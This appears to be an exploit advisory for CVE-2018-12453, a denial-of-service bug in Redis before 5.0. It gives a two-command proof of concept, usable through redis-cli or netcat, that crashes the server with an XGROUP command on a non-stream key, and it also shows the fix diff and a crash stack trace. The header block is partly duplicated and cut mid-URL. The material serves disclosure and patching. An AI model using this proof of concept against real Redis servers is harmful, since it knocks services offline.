Redis 5.0 Denial Of Service

# Exploit Title: Redis 5.0 Denial of Service
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://red # Exploit Title: Redis 5.0 Denial of Service
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0
# Fixed on: 5.0
# CVE : CVE-2018-12453

Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.


PoC:
$ ./src/redis-cli -p 1234
127.0.0.1:1234> set a 123
OK
127.0.0.1:1234> xgroup create a b $
Error: Connection reset by peer <a segfault'ed
127.0.0.1:1234>

The bug also could be triggered via netcat
$ nc 127.0.0.1 1234
set a 123
+OK
xgroup create a b $ <a segfaultaed after this line


@@ -1576,7 +1576,7 @@ NULL
/* Lookup the key now, this is common for all the subcommands but HELP. */
if (c->argc >= 4) {
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);
- if (o == NULL) return;
+ if (o == NULL || checkType(c,o,OBJ_STREAM)) return;
s = o->ptr;
grpname = c->argv[3]->ptr;


#0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45
#1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5
#2 0x7f65d736e38f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)
#3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12
#4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19
#5 0x58ded7 in call /home/user/redis/src/server.c:2298:5
#6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9
#7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17
#8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17
#9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9
#10 0x59da71 in main /home/user/redis/src/server.c:3992:5
#11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)